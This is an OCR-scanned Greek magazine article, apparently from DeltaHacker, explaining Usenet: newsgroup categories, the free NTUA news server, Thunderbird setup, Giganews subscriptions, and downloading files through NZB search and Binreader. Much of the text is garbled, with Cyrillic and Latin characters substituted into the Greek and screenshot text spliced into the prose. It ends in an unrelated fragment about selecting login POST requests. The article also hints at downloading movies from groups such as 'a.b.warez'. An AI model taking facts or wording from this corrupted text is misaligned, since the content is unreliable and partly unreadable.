ανατρέξει στα μηνύματα της σχετικής κατηγορίας. Οι κατηγορίες, γνωστὲς και ως 


1. Τι Δεν εἶναι ολόκληρος ο πλανήτης οι ΗΠΑ;! 
2. Σ.Τ.Ε. Οι Ασιάτες ἄραγε λένε «στη μακρυνή Ευρώπη»; 
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newsgroups, ενδέχεται να περιέχουν πρόσθετες υποκατηγορἰες ñ να περιέχονται 
σε ευρύτερες κατηγορἰες. Με λίγα λόγια, οι διάφορες κατηγορἰες σχηματίζουν ша 
ιεραρχηµένη борд που θυμίζει δέντρο. Στην κορυφἠ αυτού του δέντρου βρίσκονται 
ορισμένες βασικἐς κατηγορίες, апо τις οποίες ξεχωρίζουν οι ακόλουθες: 


ο сотр.* — Συζήτηση για υπολογιστὲς (πάσης φύσεως) 

ο пем/5.% — Νέα και ειδήσεις 

ο 5сі.* — Επιστημονικά Өёрата (χημεία, αστρονομία, φυσική к.а.) 

ο (ος. — Ψυχαγωγικὲς δραστηριότητες (χόμπι και παιχνίδια) 

ο 5ος.” -- Κοινωνικὲς επιστήμες αλλά και κοινωνικοποίηση γενικότερα 

ο talk. * — Συζήτηση για αμφιλεγόμενα θέµατα (πολιτική, θρησκεία к.а.) 
ο misc.* — Οτιδήποτε δεν ταιριάζει σε ἄλλη κατηγορία 


Αυτές οι окто κατηγορἰες αποτελούν το λεγόμενο «Від 8» του Usenet. Όπως KaTa- 
λαβαίνετε, για να μπορούν να παϊξουν το ρὀλο τους, οι κατηγορἰες πρέπει να ¿xouv 
συγκεκριµένα ονόματα, τα опоіа θα ισχύουν σε κάθε server ауа τον κόσμο. Όμως 
τα прота χρόνια λειτουργίας του Usenet ἦταν δύσκολο να εξασφαλιστεἰ η ενιαία 
ονοματολογἰα των κατηγοριών και, ката περιόδους, γίνονταν εκτεταμένες µετονο- 
μασίες στους server, ὥστε τα ονόματα να συμφωνούν. H τελευταία фора που πραγ- 
ματοποιήθηκε µια τέτοια μετονομασία ἦταν то 1987 και ἐμεινε γνωστή ως <Great 
Renaming>. 


Οι Васікес κατηγορἰες δεν εξαντλούνται στην οκτάδα που ауафёрар= παραπάνω. 
Κάθε server µπορεί να ἐχει τις бікес του βασικὲς κατηγορἰες. Πα παράδειγµα, о 
server του Εθνικού Μετσόβιου Πολυτεχνείου περιἐχει πίνακες µε ειδήσεις και Өёрата 
γύρω апо το Πολυτεχνείο, την ακαδημαϊκή ζωή αλλά και τους φοιτητὲς του. Οι niva- 
кес αυτοί ανήκουν στην κατηγορία ntua.* και та μηνύματά τους δεν συγχρονἰζονται 
µε τους υπόλοιπους server του Usenet! 
Ἔτσι, για να διαβάσουμε αυτά τα μηνύ- 
рата πρέπει να συνδεθούμε στον server 
του πολυτεχνείου. 


Σε ато το σημείο πρέπει να αναφἐρου- 
HE Оті οι διάφοροι servers беу προσφὲ- 
ρουν πρὀσβαση σε ола τα Ἀδιάσημα” 
newsgroups. Χαρακτηριστικἠ περίπτω- 
ση αποτελεί η κατηγορἱα alt.binaries.*, 
μέσα στην οποία δεν βρίσκονται апла 
μηνύματα αλλά ολόκληρα αρχεία! Qa- 
νταστείτε τι bandwidth και πόσο ano- 
θηκευτικὀ χώρο χρειάζεται éva τέτοιο 
newsgroup (που μόνο news δεν κουβα- 
λάει), καθὼς και την επιβάρυνση που θα 
επέφερε σε ἑναν απλὀ, πανεπιστημιακὀ 
server. Οι περισσότεροι servers, λοιπόν, 
αν ὀχι ὁλοι οι δωρεάν, αποφεύγουν τη 
Στο Usenet υπάρχει τάξη! H τελευταία μετονομασία συγκεκριμένη катпүоріа, αλλά και κάθε 


και αναδιοργάνωση έγινε το 1987 και ονομάστηκε ἄλλη που περιέχει αρχεία аут! απλὠν un- 
«Тһе Great Renaming>. 
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ЕЕ ΚΕΝΤΡΟ ΔΙΚΤΥΩΝΕΜἮΠ. х% | 


€ > С fi O wwwnocntua.gr/index.php?module=ContentExpress&func=display&ceid=32 


пос IV TU A GF 


m Ανακοινώσεις 


κε ОМАЛЕ2 ΣΥΖΗΤΗΣΕΩ͂Ν ΑΝΑΚΟΙΝΩΣΕΙΣ 


= Βοήθεια ЕН English 


- Ρόλος του КЕЛ . Σύντομη διακοπῆ του 

ο». (news.ntua.gr) ὡ σα 

«Προσωπικό š А . w. Τρίτη 28-5-2013 (Μάϊ 27, 

š Ανάπτυξη Υπηρεσιών Τελευταία ενηµέρωση : 2004-06-03 2013) ᾿ | 

-Χρηματοδοτούμενα Ἔργα е Ал * Δοκιμαστικἠ υπηρεσία 

- Επικοινωνία (8 ΟΔΗΓΙΕΣ ΧΡΗΣΗΣ | Ώ ΕΑΩ ὴ VPN για Apple iOS (Апр 
с JIN J 08, 2013) 


* Προβλήματα στη 


ΔΙΚΤΥΟ το ΚΕΛ-Ε.Μ.Π. έχει εγκαταστήσει και συντηρεί News Server δίνοντας τη δυνατότητα σε Araria του δικτύου 
«Γενική Περιγραφή à & š е N и ιόγω επίθεσης (Апр 02, 
В ολο δω, ανθρώπους µε кома ενδιαφέροντα να επικοινωνούν μεταξύ τους. 2013) 
= Δίκτυο Φωνὴς 


H πρόσβαση στην υπηρεσία NetNews εἶναι διαθέσιμη για την πολυτεχνειακἠ κοινότητα 


ΥΠΗΡΕΣΙΕΣ µέσω του news.ntua.gr server. Μπορείτε να ἔχετε πρόσβαση στα news χρησιμοποιώντας ΕΡΓΑΛΕΙΑ 
news readers όπως οἱ nn, tin, knews για Unix / Х11, προγράµµατα ανάγνωσης news για 


- Δικτύου Δεδομένων = Looking Glass 
= δικτύου Φωνῆς Windows ὅπως о NewsXpress, ἡ ακόµα τον Web browser σας όπως то Netscape. = Remote TRACEROUTE 
= Хтатістіка = WHOIS Query 


Χιλιάδες newsgroups που καλύπτουν κάθε θέμα και ενδιαφέρον εἶναι διαθέσιμα μέσωτου = ΕΞ Бы е 
news server του Ε.Μ.Π. О πρῶτος ελληνικός news server που επιτρέπει πλήρη πρόσβαση 


HELP 


«Υποστήριξη Жие απὀ οπουδήποτε στην Ελλάδα, 
- Εκπαίδευση - Ενημέρωση. 
= Προστασία απὀ Τούς š ¿ А š 4 ң т 2 ΣΥΝΔΕΣΗ 
- Ανεπιθύμητα e-mail Κάθε ενδιαφερόμενος για κάποιο θέµα μπορεῖ να εγγραφεί στην ομάδα σχολιασμού του 
т н συγκεκριμένου Өёнатос. Ос συνδρομητής Ва χρησιμοποιήσει “уа πρὀγραµµα ανάγνωσης СО ΣΥΝΔΕΣΗ ΣΤΟ \ 
νέων για να μπορεί να διαβάσει όλα τα άρθρα (μηνύματα) που αναρτήθηκαν στην ομάδα AIKTYO-AEAQMENAN-/ 
ΑΝΑΖΗΤΗΣΗ σχολιασμού, Μπορεί επίσης να ανρτήσει ἄρθρα στην οµαδα.Κάθε άρθρο το οποίο некиат 


Ένας δωρεὰν кі αρκετά καλός Usenet server 
φιλοξενείται στο Εθνικὀ Μετσόβιο Πολυτεχνείο. О 
Server περιέχει επιπλέον πίνακες για τους φοιτητές 
και то προσωπικό του πολυτεχνείου. 


νυμάτων. Па να αποκτήσουμε πρὀσβαση σε τέτοιες κατηγορἰες πρέπει уа καταφύ- 
γουµε σε ειδικοὺς servers, στους οποίους η σύνδεση πραγματοποιείται eni πληρωμή. 


ψάχνοντας τον καλύτερο 


Ὅπως καταλαβαίνετε το Usenet αποτελεἰ ἑναν ενιαίο «ҳоро». Ἔτσι, αν θέλουμε 
μόνο να διαβάζουμε уға και να μιλάμε µε ἄλλους χρήστες, αρκεἰ να συνδεθούμε σε 
οποιονδήποτε апо τους δωρεὰν Usenet servers. Οι περισσότεροι ISP ¿xouv κἄποιον 
ξεχασμένο Usenet server (και πιθανότατα αραχνιασμένο) στον οποίο μπορούμε να 
συνδεθούµε ελεύθερα. Αυτοί οι servers δέχονται συνδέσεις ЖҰ ШОуоу% απὀ τους πε- 
λάτες της εκάστοτε εταιρίας, αλλά η λειτουργία τους δεν εἶναι εγγυημένη. Αξίζει να 
πούμε бт! στις δοκιμές που κάναμε pe то Usenet server της Forthnet, δεν καταφέἑ- 
pape να συνδεθούμε οὐτε ша фора. Όπως και να "χει, то Πολυτεχνείο της Αθήνας 
προσφέρει δωρεάν πρὀσβαση στο Usenet για *óÀouc* τους χρήστες του Internet! 
Па уа συνδεθούμε δεν χρειάζεται λογαριασμὸς χρήστη και αρκεἰ να κατευθύνουμε 
τον newsreader της επιλογἠς µας στο news.ntua.gr. Προφανώς, ο συγκεκριμένος 
server δεν προσφέρει πρόσβαση σε πίνακες µε αρχεία. Σε αυτόν θα βρούμε µόνο 
κείμενο, αλλά αποτελεἰ την ιδανικἠ επιλογἠ για та прота µας βήματα. Περισσότερα 
για τη σύνδεση και το пос βλέπουμε τα μηνύματα θα πούμε σε λίγο. 


Αν пёра апо την ενηµέρωση και την επικοινωνία ενδιαφερὀµαστε και για την ανταλ- 
λαγἡ αρχείων, θα χρειαστούμε µια συνδρομή σε κάποιον εμπορικὸ Usenet server. Οι 
εταιρείες που διατηρούν τέτοιους servers προσφέρουν πακέτα συνδρομών, τα οποία 
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17 Usenet Newsgroups Signi х 


€ > С fi B https//www.giganews.com/signup/ 


АЕ 


Why Сідапем=? VyprVPN Dump Truck Mimo Support Blog 


Free 14-day Trial on All Accounts 


Cancel anytime. No commitment. No risk. 


Unlimited Usenet Plans Limited Usenet Plans 


Most Popular Plan 
DIAMOND 
REG. PRICE 

PLATINUM “9805 PEARL BRONZE SILVER 


P 17 $ 199 SA 99 j 
сар {πιο то то 


то 
ҒІК5Т 3 МОМТН5 


START FREE TRIAL START FREE TRIAL START FREE TRIAL START FREE TRIAL START FREE TRIAL 


Unlimited monthly 


Ты Unlimited monthly access 5 GB monthly access 30 GB monthly access 50 GB monthly access 


1757 days retention 4757 days retention 30 days retention 1757 days retention 4757 days retention 


Αν αναζητούμε ἑναν Usenet server για уа 
κατεβάζουµε αρχεία, θα χρειαστεί να πληρώσουμε 
κάποιο αντίτιμο. Υπάρχουν αρκετά πακέτα, апд 
αρκετές εταιρείες και το καθένα προσφέρει 
διαφορετικές ευκολίες και bandwidth. 


περιλαμβάνουν πρόσβαση σε ολὀκληρο то Usenet και φυσικά σε πἰνακες µε αρχεία. 
Τα εν λόγω πακέτα διαφοροποιούνται κυρίως ως προς τον дүко των δεδομένων 
που επιτρέπουν στο χρήστη να διακινεἰ, αλλά πολλὲς φορὲς συνοδεύονται κι апо 
διάφορες ЕЕтра λειτουργίες. Οι λειτουργἱες αυτὲς διαφέρουν апо πάροχο σε паро- 
χο, εἶναι αρκετά εξειδικευμένες και ката паса πιθανότητα αδιάφορες για ἑναν νέο 
χρήστη του Usenet. Πάντως, αν αποφασίσει κανεἰς να αγοράσει ἑνα τέτοιο πακέτο 
σύνδεσης, πρέπει να προσέξει το πόσες μέρες διατηρούνται τα αρχεία στους servers 
της εταιρίας. Βλέπετε, ο ὀγκος των δεδοµένων εἰναι τεράστιος κι ато σημαίνει 
ότι τα παλιότερα αρχεία σβήνονται αυτόματα. Το πότε ἐχει παλιώσει ἑνα αρχείο και 
το αν теЛіка θα σβηστεἰ, εξαρτάται апо την πολιτικἠ της εκάστοτε εταιρίας. Ката 
μέσο Оро, οι πάροχοι διατηρούν αρχεία που ἐχουν παλιώσει έως και ката 1700 μὲ- 
рес (σχεδόν 4.5 χρόνια). Μερικοί διάσημοι servers που αξίζει να τσεκάρουµε εἶναι 
οι Giganews (http://www.giganews.com), UsenetServer (http://www.usenetserver.com) 
ка! Astraweb (http://www.astraweb.com). 


Συζητήσεις στο Usenet 


H διεξαγωγἠ συζητήσεων апотедеі το λόγο για τον οποίο δημιουργήθηκε αρχικά το 
Usenet. Όπως ауаферацне, για να παρακολουθήσουμε µια συζήτηση χρειάζεται ἑνας 
απλὸς newsreader. Ωστόσο, για να λάβουμε μέρος σε κάποια συζήτηση χρειαζὀμα- 
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A saq paksa Account Settings - <news.ntua.gr> 
Junk Settings 


Disc Space Account Name: | news.ntua.gr 


a pews munge Default identi 
бег Setünas Клик аыл s nr ый ег ρευρίς сее 
Copies & Folders when they read your messages. 
Composition & Addressing 
Nami бео 
Synchronisation & Storage Yow = 4 


Outgoing Server (SMTP) Email Addres: [george@nospa 00000 


Reply-to Address: | Recipients will reply to this other address 
Organisation: 
Signature text: C] Use HTML (е.9., <b> bold</b>) 


L] Attach the signature from a file instead (text, HTML, or image): 


Choose... 


Γ] Attach ту vCard to messages Edit Card... 


Outgoing Server (SMTP): | Use Default Server 


Па να διαβάσουμε τα μηνύματα του Usenet 
χρησιμοποιήσαμε το διάσημο Thunderbird. О 
συγκεκριμένος mail client, όπως και πολλοί ἆλλοι, 
υποστηρίζει то Usenet. Τα μόνα που χρειάζεται να 
δώσουμε για τη σύνδεση στον server του Πολυτεχνείου 
εἶναι то hostname, éva ψευδώνυμο κι éva email. 


στε ἐναν email client που να υποστηρίζει το Usenet. Πα τις ανάγκες του ἄρθρου 
χρησιμοποιήσαμε то Mozilla Thunderbird, алла θα μπορούσαμε να εἰχαμε στραφεὶ 
και στο Microsoft Outlook. Φυσικά, εκτὀς апо το πρόγραµµα θα χρειαστούμµε και 
τουλάχιστον vav server. Па την δουλειὰ που µας ενδιαφἑρει (τη συμμετοχή σε KÅ- 
ποια συζήτηση) δεν χρειάζεται να αγοράσουμε συνδρομή και μπορούμε κάλλιστα να 
χρησιμοποιήσουμε τον server του Πολυτεχνείου. Ας δούµε тора τη διαδικασία που 
ακολουθήσαμε εμεὶς. 


Αφού κατεβάσαµε κι εγκαταστήσαμε то Thunderbird, µεταβήκαμε στο μενού Options 
και συγκεκριµένα στο Account Settings. Апо εκεἰ προσθέσαµε ἑναν νέο λογαριασμὀ, 
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5 comp.os.linux.misc 


38, GetMail > Write Ñ Chat Δὲ Address Book | ® Tag ~ Ѕеагсћ.. «СК» 


Ф QuickFite: е κ 8 9 2 | Filter these messages... <Ctrl+Shift+K> 


tO Subject 99 From Date 
t b capturing settings of pre-update progs? Avoid9Pdf@gmail.com 5/4/2013 19:29 
|ъ 4 Terminate ssh session with an interactive program running . 5/4/2013 11:44 
Ке: Terminate ssh session with ап interactive program running 9 Ri 5/4/2013 12:59 
Re: Terminate ssh session with an interactive program run... 5 5/4/2013 13:03 
Re: Terminate ssh session with an interactive program run... 9 5/4/2013 14:19 
Re: Terminate ssh session with an interactive program г... 5 5/4/2013 14:46 
Re: Terminate ssh session with an interactive program running ο 5/4/2013 22:44 
Ке: Terminate ssh session with an interactive program run... = 6/4/2013 11:00 
Ке: Terminate ssh session with an interactive program г... 5 8/4/2013 09:50 


(4) Outbox 
45 news.ntua.gr 


v 


From Why Tea <ytlim1@gmail.com> її ËB Followup > || => Forward || |) Archive 
Subject Terminate ssh session with an interactive program running 5/4/2013 11:44 


| Newsgroups comp.os.linux.misc Other Actions ~ 


Steps: 


1) ssh to a remote Linux host 

2) Run an interactive command line program 

3) Kill the ssh session 

4) ssh to the same host 

5) “ps -е#" finds that the interactive program still running 


Questions: 


1) Should the program in 2) above eventually terminate? 
2) Will the program be guaranteed to receive a SIGHUP signal? 


Thanks! 


/мт 


Selected:9 Тош&501 1 


Γραφτήκαμε στον πίνακα comp.os.linux.misc ка! 
διαβάζουμε μηνύματα γύρω апо το Linux. Στον 
συγκεκριµένο πίνακα υπάρχουν και ερωτήσεις. 
Στην εικόνα βλέπουμε ша ερώτηση пері SSH. 


πατώντας το Add Other Account апо το Account Actions. Στο παράθυρο που εμφα- 
νίστηκε επιλέξαμε το Newsgroup account και δώσαμε ορισμένα στοιχεία, ὁπως ἑνα 


ψευδώνυμο κι ёа email. Τέλος, δώσαμε то hostname του server тои Πολυτεχνείου 
(news.ntua.gr) κι ο λογαριασμός µας για τη σύνδεση στο Usenet εἶχε ολοκληρωθεὶ! 


Αφού προσθέσαµε τον λογαριασμὀ, στην αριστερἠ περιοχἠ του παραθύρου του 
Thunderbird εμφανίστηκε о server. Το επόμενο βήμα, πλέον, ἦταν να δούμε τη ài- 
στα µε та διαθέσιµα newsgroups και να συνδεθούµε σε ὀποια µας ενδιἐφεραν. Па то 
σκοπὸ αυτό κάναμε δεξὶ κλικ πάνω στο ὀνομα του Server κι επιλέξαμε το Subscribe. 
Ἔτσι, εμφανίστηκε ἑνα παράθυρο µε όλες τις διαθέσιμες κατηγορἰες μηνυμάτων. 
Από εκεἰ, χρησιμοποιώντας την αναζήτηση, βρήκαμε τους піуакес comp.os.linux. 
announce και comp.os.linux.misc, οι οποίοι περιλαμβάνουν πληροφορἱες για то aya- 
πημένο µας Linux. Па να μπορούμε να παρακολουθούμε το περιεχὀμενό τους, ЕПІЛЕ- 
čape τον καθένα και πατήσαμε то Subscribe. Έτσι, τα ονόματά τους εμφανίστηκαν 
στο παράθυρο του Thunderbird, като και λίγο πιο δεξιά апо το ὀνομα του server. 
Στη συνέχεια κλείσαμε το παράθυρο µε τα διαθέσιµα newsgroups και τσεκάραμε та 
μηνύματα σε καθέναν апо τους πίνακες που εἶχαμε προσθέσει. Αυτό γίνεται µε ἑνα 
απλὀ κλικ επάνω στο ὀνομα του καθενὸς. 


Κάθε φορὰ που ανοίγουμε το Thunderbird, τα νέα μηνύματα апо κάθε πἰνακα θα 
φορτώνονται αυτόματα. Πατώντας va μήνυμα μπορούμε να διαβάσουμε το περιε- 
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Usenet: Παλιά υπηρεσία, νέα αποστολή! 
Αα 


File Edit View Options Tools Help 
E send |  Speling > 0 Анасһ τ B securiy ” [El Save |7 
From: | George <george@)no.spam> news. ntua.gr 


Ё comp.os.linux,misc 


Subject: | Do you read DeltaHacker? 


You should!| 


Φυσικά, μπορούμε ελεύθερα va ανεβόσουµε και Ta 
δικά µας μηνύματα στο Usenet! 
χὀμενό του, ενώ χρησιμοποιώντας το κουμπί Write μπορούμε να γράψουμε και να 
αναρτήσουµε µια απάντηση! Αν ακολουθήσετε τα βἠματὰ µας και ψαχουλέψετε та 
διάφορα newsgroups, θα διαπιστώσετε бт! τα περισσότερα εἰναι πλέον εγκαταλειµ- 
μένα ἡ η ανανἑωσή τους πραγματοποιείται ката арай διαστήματα. Με àiya λόγια, 
θα δυσκολευτεἰτε аркета να βρεἰτε κἄποιο newsgroup µε αρκετὀ κόσμο και ζωηρὲς 
συζητήσεις. H ηλικία του Usenet και η εμφάνιση πολλών και πιο εξελιγμένων TE- 
Χνολογιών ἐχουν περιορἰσει τους χρήστες του σε μεγάλο βαθμὀ. Мета апо αυτἠ τη 
δήλωση, ὁμως, εἶναι πιθανὀ να ἐχετε την εξἠς απορία: Пат! να ασχοληθεἰ κανεὶς µε 
μια τόσο παλιά τεχνολογία και γιατὶ να φτάσει στο σηµείο уа αγοράσει συνδρομή; 


Астанатпто κατέβασμα 


Ὅπως ауафераце νωρίτερα, το Usenet δεν φιλοξενεἰ μόνο μηνύματα. Έτσι, ἑνας 
καλὸς λόγος για τη σύνδεση σε αυτὀ και μάλιστα eni πληρωμῆ, εἶναι η δυνατότητα 
κατεβάσματος αρχείων! Το πρωτόκολλο του Usenet σχεδιάστηκε για τη μεταφορὰ 
μηνυμάτων κειμένου και δεν υποστηρίζει τη метафора αρχείων. Παρεμπιπτόντως 
αυτὸ ισχύει και για το πρωτόκολλο του email, αλλά ὁπως γνωρίζετε η αποστολἠἡ 
αρχείων πραγματοποιείται πανεύκολα. Βλέπετε, υπάρχουν ορισμένες τεχνικὲς KW- 
δικοποίησης, που επιτρέπουν την ενσωμάτωση των δεδομένων ενὸς οποιουδἠπο- 
τε αρχείου, μέσα στο σώμα ενὸς απλού μηνύματος. Ας επιστρέψουµε στο Usenet 
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€ > С 4 B https//www.giganews.com/controlpanel/usenet.html 


АЕ 


Why Giganews? VyprVPN Dump Truck Mimo Support Blog 


Control Panel @ Dasnboara |Ң) Usenet $ vyprvPN Z DumpTruck фо ReterA Friend 


Account Level 


Diamond Change Usenet Details Change Usenet Plan > 


Account Level: Diamond Transfer Limit: 10 GB Already Used: 1.69296 GB 


Customer ID 


George - deepsheet 


Status 
Active 


Features 
VyprVPN Personal VPN 
Mimo Usenet Browser 
Dump Truck - 30 GB 
Usenet Access - 10 GB 
50 Connections 


Additional Services 
VyprVPN Setup 
Dump Truck Access 
Mimo Download 


0GB 


Article Limits © 


Unlimited 


Βου πες ог Set Unlimited 

Designate the number of articles per group to 
download. You will only have access to the most 
recent articles up to the number of articles you 
specify. Older articles will be inaccessible. 


Next Scheduled Rotation: 
06/10/2013 


Account Recycling 
Auto Recycling © 


CEB 
Set Auto Recycle 
ΟΕΕ: If | reach my transfer limit before my cycle is 


up. | want to manually authorize recycling my 
account, maintaining control over whether | will 


begin my next period of service early. 


Activate Full Service 
Cancel/Uncancel Account 


Transfer Stats View Stas » 


Change Billing Information 


То Giganews εἶναι ἑνας апд τους μεγαλύτερους 

και παλιότερους Usenet servers. Απὀ το πάνελ 
διαχείρισης μπορούμε να πληροφορηθούμε όλες 

τις πρὀσθετες υπηρεσίες που παρέχει η εταιρεία, 
καθώς και τα διαθέσιµα gigabytes που περιλαμβάνει 
η συνδρομὴ µας. 


όμως. Οἱ πίνακες που περιέχουν δεδομένα, ἐχουν στο ὀνομά τους τη λέξη binary. 
Τα μηνύματα ενὀς τέτοιου πἰνακα που περιλαμβάνουν τα δεδοµένα ενὸς αρχείου, 
συγκεντρώνονται σε ειδικἁ αρχεία µε την κατάληξη .ΠΟΖ. Έτσι, για να κατεβάσουμε 
va αρχείο апо το Usenet, πρέπει прота να βρούμε το αρχείο ΝΒΖ, το οποίο nepi- 
λαμβάνει όλα τα μηνύματα, τα οποία µε τη σειρὰ τους περιλαμβάνουν τα δεδομένα 
του ζητούμενου αρχείου. Μπερδευτήκατε; Ας πάρουμε τα πρἀγµατα µε τη σειρἀ. 


Κατ’ αρχάς, για να κατεβάσουµε αρχεία апо то Usenet πρέπει να στραφούμε σε 
κάποιον εμπορικὀ server και να χρησιμοποιήσουμε ἑνα κατάλληλο проүрарџа. То 
Thunderbird μπορεί να διαβάζει μηνύματα που περιέχουν δεδομένα αρχείων алла 
δεν μπορεί να τα κατεβάσει, οὐτε αναγνωρίζει τα αρχεία ΝΒΖ. 


Πα την εὑρεση του κατάλληλου server χρειάζεται µελέτη και υπομονή. Υπάρχουν 
πολλὲς επιλογὲς και, ὁπως πάντα, η καθεμία ἐχει τα θετικἁ και τα αρνητικἀ της. Nà- 
ντως, οι περισσότεροι πάροχοι προσφέρουν μερικὲς βδομάδες δωρεάν πρὀσβασης, 
γεγονὸς που επιτρέπει τους πειραματισμούς και διευκολύνει την επιλογἠ. Μια καλὴ 
αρχἠ σε αυτἠ την αναζήτηση αποτελούν οι τρεις servers που αναφέραμε προηγου- 
μένως. Па το арӨро αποφασίσαμε να χρησιμοποιήσουμε τον Giganews, ο οποίος 
εἶναι παλιὸς και διάσημος στους κύκλους του Usenet. Πα τη δοκιμή επιλέξαμε το 
πακέτο «Diamond», που αποτελεἰ ό,τι πιο ακριβὀ προσφέρει η εταιρεία. Па τη σύν- 
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Usenet: Παλιά υπηρεσία, 


δεση στον server επιλέξαμε τη δωρεὰν 
εφαρµογή Binreader, που προσφέρει 
ἑνα αρκετά απλὀ περιβάλλον και χωρὶς 
періттес ρυθμίσεις. Με την ευκαιρία, να 
πούμε бт! ορισμένοι servers προσφὲ- 
ρουν та ӧіка τους προγράµµατα σύνδε- 
σης και с’ αυτἠ την περίπτωση αξίζει να 
τα προτιµήσουμε! Па τον Giganews δεν 
βρήκαμε τίποτα ενδιαφέρον. Εξάλλου, то 
Біпгеадег καλύπτει απὀλυτα τις ανάγκες 
μας’. Έχοντας επιλέξει server кі εργα- 
λείο σύνδεσης, μένει να εντοπίσουµε та 
αρχεία ΝΒΖ που θα µας οδηγήσουν στα 
ζητούμενα αρχεἰα — σε αυτά που θὲ- 
λουµε να κατεβάσουµε, δηλαδή! п’ αυτή 
την αναζήτηση θα πρέπει να στραφούμε 
σε κάποια εξειδικευμένη μηχανή αναζή- 
τησης. Όπως και µε τα προγράμματα, 


la] М2В.сс - World's fastest х \ 7 


νέα αποστολή! 
Αα 


Server | Advanced | UseriInterface | ТУ | Support | 
ΓΝΝΤΡ Server 


Ноѕілате: [news.giganews.com 
Username: | giannoug 
ТЕ ЕЗ 


Does the server supports SSL encryption? 
С Yes, on port 443 (evades traffic shaping) 


Όπως και στο Thunderbird, ёто και στο Binreader 
θα χρειαστούµε το hostname του Usenet server. 
Στην περίπτωση του Giganews, θα χρειαστούμε 

кі éva ζευγάρι username/password. ΚΙ επειδή µας 
αρέσει να προσέχουμε, ενεργοποιούµε то SSL WOTE 
να πραγματοποιούµε κρυπτογραφημένες συνδέσεις! 


| = 


€ > С fi PB https//www.nzb.cc 


ΕΕΣ 


М2В.сс-- minimalistic NZB search engine 


disclaimer 


ОТС © чылы їз 


ЛГІСІ 


WI 


Results generated in 0.016 sec. downloaded in 0.133 sec. 


ubuntu-13.04(32864-bits) 
ubuntu-13.04-desktop-i386 iso 


Бу CPP-gebruiker@domein.nl (General) іп a.b.boneless - 27 days ago - 1860 MB 


(ASDFGAWERG124) "ubuntu-13.04(32&64-bits)" 


ubuntu-13.04-desktop-i386.iso 


by СРР-дебгиікег@аотеіп..пі (General) in a.b ftd - 27 days ago - 1860 МВ 


(UBUNTUUU1304GEN) "ubuntu-13.04-desktop-amd64" 
ubuntu-13.04-desktop-amd64.iso 
by CPP-gebruiker@domein.nl (General) іп a.b.warez - 26 days ago - 882 MB 


(UBUNTUUU321304GEN) "ubuntu-13.04-desktop-i386" 


ubuntu-13.04-desktop-i386 iso 


by CPP-gebruiker(@@domein nl (General) in a b warez - 26 days ago - 897 МВ 


Number of results: 4 


3. Μέχρι στιγμής :D 


Μια αρκετό καλή και δωρεάν μηχανή αναζήτησης 
αρχείων МВ2! Από εδώ μπορούμε να βρίσκουμε 
µπόλικο υλικό! Εμείς πάντως ενδιαφερὀµαστε για 
την τελευταία ἐκδοση του Ubuntu... ;) 
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YV HAQKER 


ÁN 


υπάρχουν μηχανές αναζήτησης που επιτρέπουν την πρόσβαση σε οποιονδήποτε, 
καθώς και μηχανές που επιτρέπουν την πρὀσβαση μόνο στους χρήστες του εκάστοτε 
server. Εμεὶς δοκιμάσαμε αρκετὲς μηχανές κι AUT που µας ἄρεσε περισσότερο ἦταν 
αυτή στο nbz.cc (https://www.nzb.cc). Με τη βοήθεια της μηχανής, αναζητάµε то ap- 
хеіо ΝΒΖ που παραπέμπει στο πρὀγραμµµα, στην ταινία ñ στη σειρἁ που θέλουμε να 
κατεβάσουμε. Έχοντας στη διἀθεσή µας το συγκεκριμένο αρχείο (то МВ2) ανοίγου- 
µε το Віпгеадег (ἡ ὁποιο ἄλλο εργαλείο έχουμε επιλέξει) και το κατέβασμα ξεκινάει 
αμέσως. Όχι, беу καταλάβατε кала. Όταν λέμε αμέσως εννοούμε Α-Μ-Ε-Σ-Ω-Σ! Σε 
αντίθεση µε та torrents, δεν κατεβάζουμε апо πολλούς χρήστες, αλλά апо πολλούς 
servers. Έτσι, το κατέβασμα µέσω Usenet προσφέρει отабера υψηλές ταχύτητες! 


Επίλογος 


Αν ἐχετε ша τεράστια συλλογή µε ταινίες, σειρὲς ἡ µουσικἠ και νιώθετε От! τα 
torrents δεν xouv τίποτα уа σας προσφέρουν, το Usenet αποτελεί το επόμενο 
βήμα! Το κατέβασμα μέσω Usenet θυμίζει το κατέβασμα µε torrents και θα про- 
σαρμοστείτε γρήγορα στη σχετικἠ διαδικασία. Εξάλλου, το χρηματικὀ αντίτιμο που 
απαιτείται για τη συνδρομή σε κἄποιον server εἶναι αρκετά μικρὀ. Έτσι, οι τεράστιες 
ταχύτητες του Usenet θα ικανοποιήσουν εὐκολα και µε το παραπάνω ὁσους συνηθἰ- 
ζουν να κατεβάζουν αβέρτα — και ғібіка τους ανυπόµονους. Πα εμάς, πάντως, ἑνας 
εἶναι ο λόγος που το Usent αξίζει για κατεβάσµατα: Δεν υπάρχει καλύτερος τρόπος 
προκειµένου να παίρνει κανεὶς το ISO της πλέον πρόσφατης διανομής Linux, бпоа 
κι αν εἶναι αυτή ;) 


$ 


E E fubuntu-13 043264-bits (1) ннн 
ubuntu-13.04(3264-bits).nzb Finished 
+ ubuntu-13.04(32&:64-bits).par2 45 Paused 
ubuntu-13.04(3264-bits).part01.rar ипи 31% 
ubuntu-13.04(328&264-bits).part02.rar Queued 
ubuntu-13.04(32&164-bits).part03,rar Queued 
ubuntu-13.04(32&164-bits).part04.rar Queued 
ubuntu-13.04(32&64-bits).part05.rar Queued 
ubuntu-13,04(32&64-bits).part06,rar Queued 
ubuntu-13.04(32&264-bits).part07.rar Queued 
ubuntu-13.04(328&164-bits).part08,rar Queued 
ubuntu-13.04(328164-bits).part09,rar Queued 
ubuntu-13.04(32&64-bits).part10.rar 3. Queued 
ubuntu-13.04(32&64-bits).part11.rar 103.34 MB Queued 
ubuntu-13.04(32&64-bits).part12.rar 103.34 MB Queued 


Connected (4) [ GB free | 8.4 Mbit/s || Od Oh 25mleft ) „л 


Апо το πρώτο κιόλας κατέβασμα, авто που θα προσέξει 
κανείς εἶναι η отабера υψηλή ταχύτητα λήψης! Ποτέ ξανά 
δε θα περιμένουμε να βρεθούν οἱ seeders ка! µετά να 
συνδεθούμε στα μηχανήματά τους :D 
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r 
r: ута Simulator \ deh 
σσ. 


Ubuntu ММ Router | deltaHacker 


( [+ | [38 ] КЕГІ 
те Ме" σας για POST requests, Μετακινούμενοι µε τα βελάκια του δρομέα, πηγαίνετε πάνω ат 
\ ділда από εκείνα που αφορούν σε logins και πατήστε [Enter]. Δεν χρειάζεται να σας πούμε για то TL 
деу] обот\ 3 4 μπορείτενα περιμένετε) 


чиопе 


ινα с 


